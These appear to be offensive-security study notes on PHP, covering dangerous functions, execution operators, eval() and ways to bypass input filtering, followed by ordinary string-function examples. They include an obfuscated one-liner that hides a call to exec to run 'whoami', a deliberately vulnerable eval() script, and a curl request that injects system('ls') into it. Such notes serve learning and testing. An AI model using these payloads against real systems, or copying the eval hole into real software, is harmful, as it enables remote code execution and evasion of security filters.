What is PHP?

• open-source server-side scripting language
• designed primarily for web development.

Dangerous Functions

Dangerous PHP Functions

Chain get_defined_functions() and array_search together.

echo get_defined_functions()["internal"][array_search(urldecode("%65%78%65%63"),get_defined_functions()["internal"])]("whoami");

PHP class and extends

In PHP, the keyword class is used to define a new class, which is a blueprint for creating objects. Classes encapsulate data and methods that operate on that data.

class test: This defines a new class named test.

extends tester: This indicates that test is a subclass of tester, inheriting its properties and methods. This is a way to implement inheritance in PHP, allowing test to reuse and extend the functionality of tester.

PHP Encoding options

PHP Encoding and Decoding Options

What is Event Sink?

An event sink is a class or function designed to receive incoming events from another object or function
https://en.wikipedia.org/wiki/Sink_(computing)

https://softwareengineering.stackexchange.com/questions/363397/how-does-an-event-listener-work

Guard Clause

https://en.wikipedia.org/wiki/Guard_(computer_science)

PHP Web application Architecture

https://www.php.net/manual/en/mongodb.overview.php

https://wiki.dolibarr.org/index.php?title=File:ArchitectureClientServeurDolibarr.png

Syntax

:: Double colons

https://www.php.net/manual/en/language.oop5.paamayim-nekudotayim.php
Scope Resolution Operator (::)
a token that allows access to a constant, static property, or static method of a class or one of its parents.

`(Backtick)

https://www.php.net/manual/en/language.operators.execution.php
Execution Operators
backticks (`). Note that these are not single-quotes! PHP will attempt to execute the contents of the backticks as a shell command; the output will be returned

. (period)

https://www.php.net/manual/en/language.operators.string.php
String Operators
The first is the concatenation operator ('.'), which returns the concatenation of its right and left arguments. The second is the concatenating assignment operator ('.='), which appends the argument on the right side to the argument on the left side.

PHP Eval().

https://www.php.net/manual/en/function.eval.php

<?php
// Start a simple web server with: php -S localhost:8080 eval_example.php

// Check if the user provided an input
if (isset($_GET['expression'])) {
    $userInput = $_GET['expression'];
    
    // Dangerous usage of eval
    $result = eval("return $userInput;");
    
    echo "Result: " . $result;
} else {
    echo 'Please provide a mathematical expression using the "expression" query parameter.';
}
?>

Execute the file with php -S localhost:9999 ex1.php

curl 'http://localhost:9999/?expression=%20system(%27ls%27);'

https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/php-tricks-esp

Bypass PHP Filtering

1. Reflection
   Reflection is a feature in some programming languages that allows a program to inspect and modify its structure and behavior at runtime.

class Example {
    public $property = 'value';

    public function method() {
        return 'Hello, World!';
    }
}

$reflector = new ReflectionClass('Example');
$instance = $reflector->newInstance();
echo $reflector->getProperty('property')->getValue($instance); // Output: value
echo $reflector->getMethod('method')->invoke($instance); // Output: Hello, World!

https://en.wikipedia.org/wiki/Reflective_programming

https://www.php.net/manual/en/class.reflectionfunction.php

2. Different Encoding

PHP Encoding and Decoding Options

3. Alternate String Modification

Examples

// str_replace example
echo str_replace("world", "PHP", "Hello world"); // Output: Hello PHP

// str_ireplace example
echo str_ireplace("WORLD", "PHP", "Hello world"); // Output: Hello PHP

// substr_replace example
echo substr_replace("Hello world", "PHP", 6, 5); // Output: Hello PHP

// strtr example
echo strtr("Hello world", "oe", "ea"); // Output: Halla warld

// substr example
echo substr("Hello world", 6, 5); // Output: world

// trim example
echo trim("  Hello world  "); // Output: Hello world

// rtrim example
echo rtrim("  Hello world  "); // Output:   Hello world

// ltrim example
echo ltrim("  Hello world  "); // Output: Hello world  

// str_pad example
echo str_pad("Hello", 10, "."); // Output: Hello.....

// strtoupper example
echo strtoupper("Hello world"); // Output: HELLO WORLD

// strtolower example
echo strtolower("Hello World"); // Output: hello world

// ucfirst example
echo ucfirst("hello world"); // Output: Hello world

// ucwords example
echo ucwords("hello world"); // Output: Hello World

// strrev example
echo strrev("Hello world"); // Output: dlrow olleH

// addslashes example
echo addslashes("Hello 'world'"); // Output: Hello \'world\'

// str_split example
print_r(str_split("Hello")); // Output: Array ( [0] => H [1] => e [2] => l [3] => l [4] => o )

// implode example
echo implode("-", ["Hello", "world"]); // Output: Hello-world

// explode example
print_r(explode(" ", "Hello world")); // Output: Array ( [0] => Hello [1] => world )

// strip_tags example
echo strip_tags("<p>Hello <b>world</b></p>"); // Output: Hello world